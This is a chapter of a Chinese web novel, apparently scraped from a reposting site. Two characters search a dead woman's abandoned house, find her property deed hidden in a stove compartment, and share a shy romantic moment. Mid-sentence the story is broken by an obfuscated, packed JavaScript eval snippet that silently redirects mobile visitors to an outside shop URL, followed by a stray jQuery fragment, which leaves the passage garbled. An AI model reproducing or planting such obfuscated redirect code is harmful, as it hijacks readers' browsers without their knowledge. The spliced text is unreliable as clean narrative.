许云书拿起门上的长方形铜锁,犹疑道:“如果我请人来开她家的门锁,犯法吗?”

    远山问:“东家,你知道这锁是谁打造的吗?”

    许云书摇摇头。

    “既然不知道,那请谁来开呢?正经来说,除了主人家,只有打造这把锁的工匠知道如何开锁。”

    原来这个朝代没有专门的开锁匠。

    许云书又显露出对这个朝代的无知,尴尬地挠了挠自己的后脑勺:“我不太了解这个行当,我以为有专职的开锁匠。”

    远山嘴角扬起一丝弧度,说:“让我来看看。”

    许云书往旁边挪去,给远山腾出位置。

    远山将门锁竖起来,观察着锁孔,眸光凝滞了一瞬。

    他神态自若地玩笑道:“东家,我有个办法可以开门,但不一定能成功。”

    “你不会又要砸锁吧?”许云书侧头看远山,又将目光移到锁上,“这锁砸不开吧?”

    远山眉梢轻挑:“这次不砸锁,借你头上的簪子一用。”

    许云书去摸头上的发簪,难以置信地问:“你要撬锁?你还会这种技能?”

    远山模糊不清地应了一声,说:“小时候贪玩,就喜欢研究家里的各种锁。但是只要发簪可能不行,还得麻烦东家帮我去附近食肆要一点油来。”

    “好。”许云书应道,迈着轻盈的脚步转身离开。

    等她走后,远山拿出昙华给他的那边钥匙。看起来,这把钥匙和这个锁是匹配的。

    他将钥匙插进锁孔里,转动几下,只听咔嚓一声,锁真的开了。

    许云书回来时,看到远山已经将门锁打开,震惊不已:“你不已经打开了?!”

    “嗯。”远山镇定地说,“刚才用簪子试了试,没想到这么顺利就开了。”

    许云书佩服地朝他竖起大拇指,说:“你太厉害了。不过,我们这样私闯民宅真的没事吗?”

    “苏春梨死后,若无人继承这房子,官府会将其充公。可这门上并未贴封条,房子看起来也荒废了许久,早已变成无主之宅。按理来说,这里谁都能进去。”

    听远山这么说,许云书放下心来,和他一起进了门。

    这座房子不大,厅堂的左侧是卧房,房间里只有一张木板床。

    右侧有间灶房,灶台上积了一层灰,灶膛里有几块已经被烧成炭的木头条,但是灶门处没有明显被火燎黑的痕迹。

    这有点古怪。

    许云书拿起旁边的火钳,将灶膛内残余的木炭夹出来,坐到矮凳上,侧弯腰去查看灶膛内部。

    这里光线不好,她什么也没看清,抬头看着远山,说:“你去帮我找盏灯来吧。”

    “好。”

    远山转身离开灶房,许云书挽起自己碍事的衣袖,再次拿起火钳去翻灶膛里的柴灰。

    她几次碰到内壁,铁火钳与石壁碰撞,发出又闷又沉的声音。

    远山端着油灯回来时,许云书一无所获。

    她接过油灯,不信邪地嘀咕道:“这灶膛看起来怪怪的,怎么会什么东西都没有?”

    远山在她身边蹲下,两手交叠放在双膝上,问:“东家,这灶台哪里奇怪?”

    “看起来很新。”许云书指着灶门,“一般来说,如果是经常使用的灶膛,这两边肯定会被熏得很黑,但是这里的黑垢却很浅。”

    许云书站起来,远山也随之站直。

    她看着空荡荡的灶口,继续说:“灶口也没有被锅磨损的痕迹。”

    刹那间,许云书脑子里噌地冒出火花,双眼骤然睁大,提高音量道:“对了!最古怪的地方就是,这里没有锅!所以这个灶台肯定有问题!”

    她重新坐回矮凳上,远山跟着蹲下,接过许云书手里的灯:“东家,我帮你举着吧。”

    “好,你靠近点,让光照到里面。”

    许云书将腰弯得更低,去看落灰膛,喃喃道:“到底哪里有问题呢?”

    她从左到右把内部扫了一遍,隐约看到一处灰泥颜色更深的地方,激动地抓住远山的手往落灰膛靠,让光把里面照得更亮一些。

    “这里有个暗格!”许云书转头去拿火钳,倏忽对上那双与自己只有咫尺距离的灿眸。

    许云书从来没有这么近距离与人四目相对过。她的倒影在栗色瞳孔中如此清晰,仿佛她坠入了远山清透熠熠的双眸里。

    远山眼睛轻轻眨了下,许云书慌乱地别过头,又瞥见自己还抓着远山的手腕,连忙松开了他,支吾道:“麻烦你让让,我要拿火钳。”

    远山蹲着往旁边挪了半步。

    许云书拿了火钳后,他又默默靠过来,许云书制止道:“你别靠那么近。”

    远山真诚地问道:“这样东家能看清楚吗?”

    “你手伸直就好了。”许云书眼神闪躲,将火钳伸进落灰膛,歪着头去刮砖块上和缝隙里的积灰。

    没多久,那块耐火砖变干净了些。

    许云书将手伸进落灰膛,双手扣住砖块上下边缘,摸索了半天,都没打开那块砖。

    “这暗格怎么开啊?”许云书累得伸回手。她整条手臂都沾上了黑灰,衣袖被蹭脏了,脸上也多了几道黑印。

    许云书平摊手掌,五指张开,看到指甲缝里都是灰,感叹道:“天哪,像刚挖了煤似的。”

    远山忍俊不禁,许云书睨了他一眼,他瞬间收敛了笑容,正色道:“东家,我来试试吧。你先去洗一下。”

    “不,我要看看你能不能把它打开。”许云书用另一只干净点的手接过远山手里的灯。

    在许云书的注视下,远山的手伸进了落灰膛。

    许云书看不见他具体是怎么操作的,就只能看到他露在外边的手臂在移动。

    远山在那块砖上按了按,往内推的同时向侧边滑去,成功打开了暗格。

    “开了。”远山眼里不觉溢出得意之色。

    许云书不服气道:“为什么你那么容易就打开了?”

    “我只是恰好发现开启它的关窍罢了。”远山谦逊地说道,“若没有东家发现这灶台异常,我也无从下手。”

    远山取出暗格里那个薄薄的油布包裹,油布被折得正正方方,外面系了一根麻绳。

    许云书迫不及待地说道:“快看看里面放了什么。”

    远山解开绳结,拆开油布,里面是张折好的纸。远山将纸展开,许云书凑过来,看清纸上的文字后,说:“这是苏春梨的……”

    许云书一时不知道在这个朝代要怎么说“房产证”这个东西。

    好在远山接话道:“她的房契。”

    看样子,此处是苏春梨的私宅。而他此前去的苏春梨家,严格来说,算是她的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846965|211757||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    父家。自从苏春梨死后,她的爹娘就回了乡下,他默认那里便是苏春梨家,前去查探,一无所获。

    原来在这里还有一个真正属于苏春梨本人的“家”。

    只是这个家里似乎并没有什么生活的痕迹。

    远山提出新的疑问:“她为什么要买这个房子?你刚才说这里都没有锅,显然她并不在这里生活,既然没在这生活,为什么灶台里又有那么多柴灰?”

    许云书也是满腹疑问,盯着远山手里的房契,眼神迷茫却不空洞,翠睫垂覆,似落在露珠上的两片阴影,连带着脸颊上沾的黑灰,都变成了两笔写意的水墨。

    远山手腕轻抬,许云书头微微侧了点,他做贼心虚似地将手垂了回去。

    “难道她买这个房子不是为了住?”许云书毫无察觉,自顾自地说道,“烧柴就是想将暗格藏得更隐蔽?”

    “东家,要不我们先去清洗一下吧。”远山提醒道,“我手上也沾了灰。”

    “行,先去洗洗吧。我太脏了。”许云书两只手都在半空摊开,她环顾四周,向水缸走去。

    幸好水缸里还蓄了水。尽管这水多日未用,漂浮着许多杂质灰尘,但用来洗手足矣。

    许云书洗完手后,问远山:“我脸上是不是也有?”

    “嗯。”远山应道。

    “在哪呢?”

    远山用手指轻轻点了下自己的鬓边,还有左边面颊。

    许云书拿出手绢,打湿水后往脸上擦,结果黑灰非但没被擦去,反而像晕开一般。

    “等等,你别这样擦。”远山赶紧制止了她,“你这手绢不够湿,越擦越脏了。”

    “啊!真的吗?!”许云书的动作猛然停住,“这灰这么难擦吗?”

    远山看着许云书脸上斑驳的灰痕,说道:“我来帮你擦吧。”

    “啊?”许云书像是没理解远山的意思,呆呆地看着他。她想了想,上一个帮她擦脸的异性还是她爸爸。

    远山被许云书看得不太自在,耳尖微微发烫,说:“此言唐突,东家勿怪。”

    “没事,没什么唐突的。”许云书缓过神,将手绢递给远山,“你来吧。”

    远山再次打湿手绢,拧干到不滴水但又能渗水的状态,轻轻地擦拭许云书脸上的污渍。

    这个距离下,许云书的视线里全是远山那张疏朗清举的白净面庞。

    他一双眼澄澈温润,如皎皎月色融化其中,又撷了两点星光加以点缀。

    许云书不禁想,又看到他眼睛里自己的倒影了。

    她还能感受到远山平稳又温热的呼吸,若因风而起的柳絮,拂过自己的脸,余下隐隐约约的酥痒感。

    远山嘴唇轻启:“东家,你别这样看着我。”

    仿佛有人往平静的水面投了一块小石子,在一圈圈涟漪中,许云书的倒影摇晃,她的思绪也随之流转,后知后觉害羞起来。

    “我没有看你。”她欲盖弥彰地垂眸,说道:“算了,别擦了,我直接用这水洗脸吧。”

    她扭头看见飘着一层灰的水,眼睛一闭,撇开浮沉,捧起一抔稍微清澈点的水往脸上浇。

    接连洗了几下,许云书眼睛睁不开,让远山把手绢递给她。

    远山问:“要我帮你擦吗?”

    “不用了!”许云书伸手在空中挥了几下,“快把手绢给我!”